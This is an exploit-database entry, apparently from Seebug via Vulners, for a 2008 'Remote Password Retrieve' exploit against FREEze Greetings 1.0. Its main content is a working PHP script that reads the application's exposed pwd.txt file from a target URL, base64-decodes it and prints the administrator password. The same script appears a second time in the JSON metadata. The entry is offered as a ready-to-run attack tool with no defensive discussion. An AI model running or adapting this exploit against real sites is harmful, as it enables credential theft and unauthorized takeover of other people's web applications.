Search...

FREEze Greetings 1.0 Remote Password Retrieve Exploit

2008-11-18T00:00:00

ID SSV:10049
Type seebug
Reporter Root
Modified 2008-11-18T00:00:00

Description

No description provided by source.

                                        
                                            
                                                &lt;?php

/**
* FREEze Greetings 1.0 Remote Password Retrieve Exploit
* Exploit by cOndemned 
*
* Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho [...]
* Special thx to ZaBeaTy for developing such a sexy regexp ;) Thx m8 
*/

echo &lt;&lt;&lt; Header

[~] FREEze Greetings 1.0 Remote Password Retrieve Exploit
[~] Exploit by cOndemned [ Prints decoded admin password ]

Header;

if($argc != 2) printf(&quot;[~] Usage : php %s &lt;target_with_path&gt;\r\n\r\n&quot;, $argv[0]) and exit;

$out = (preg_match('!^([^ ]+)$!sei', file_get_contents($argv[1] . '/pwd.txt'), $r) &amp;&amp; preg_match('!^([^\|\|]+)\|\|!sei', base64_decode($r[1]), $pass))
	? sprintf(&quot;Password : %s&quot;, base64_decode($pass[1])) : 'Exploitation failed';

printf(&quot;[~] %s \r\n\r\n&quot;, $out);

?&gt;

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-10049", "status": "poc", "history": [], "bulletinFamily": "exploit", "modified": "2008-11-18T00:00:00", "title": "FREEze Greetings 1.0 Remote Password Retrieve Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-10049", "cvelist": [], "description": "No description provided by source.", "viewCount": 0, "published": "2008-11-18T00:00:00", "sourceData": "\n <?php\r\n\r\n/**\r\n* FREEze Greetings 1.0 Remote Password Retrieve Exploit\r\n* Exploit by cOndemned \r\n*\r\n* Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho [...]\r\n* Special thx to ZaBeaTy for developing such a sexy regexp ;) Thx m8 \r\n*/\r\n\r\necho <<< Header\r\n\r\n[~] FREEze Greetings 1.0 Remote Password Retrieve Exploit\r\n[~] Exploit by cOndemned [ Prints decoded admin password ]\r\n\r\nHeader;\r\n\r\nif($argc != 2) printf("[~] Usage : php %s <target_with_path>\\r\\n\\r\\n", $argv[0]) and exit;\r\n\r\n$out = (preg_match('!^([^ ]+)$!sei', file_get_contents($argv[1] . '/pwd.txt'), $r) && preg_match('!^([^\\|\\|]+)\\|\\|!sei', base64_decode($r[1]), $pass))\r\n\t? sprintf("Password : %s", base64_decode($pass[1])) : 'Exploitation failed';\r\n\r\nprintf("[~] %s \\r\\n\\r\\n", $out);\r\n\r\n?>\n ", "id": "SSV:10049", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T21:21:08", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "vulnersScore": 5.0}, "objectVersion": "1.4", "references": []}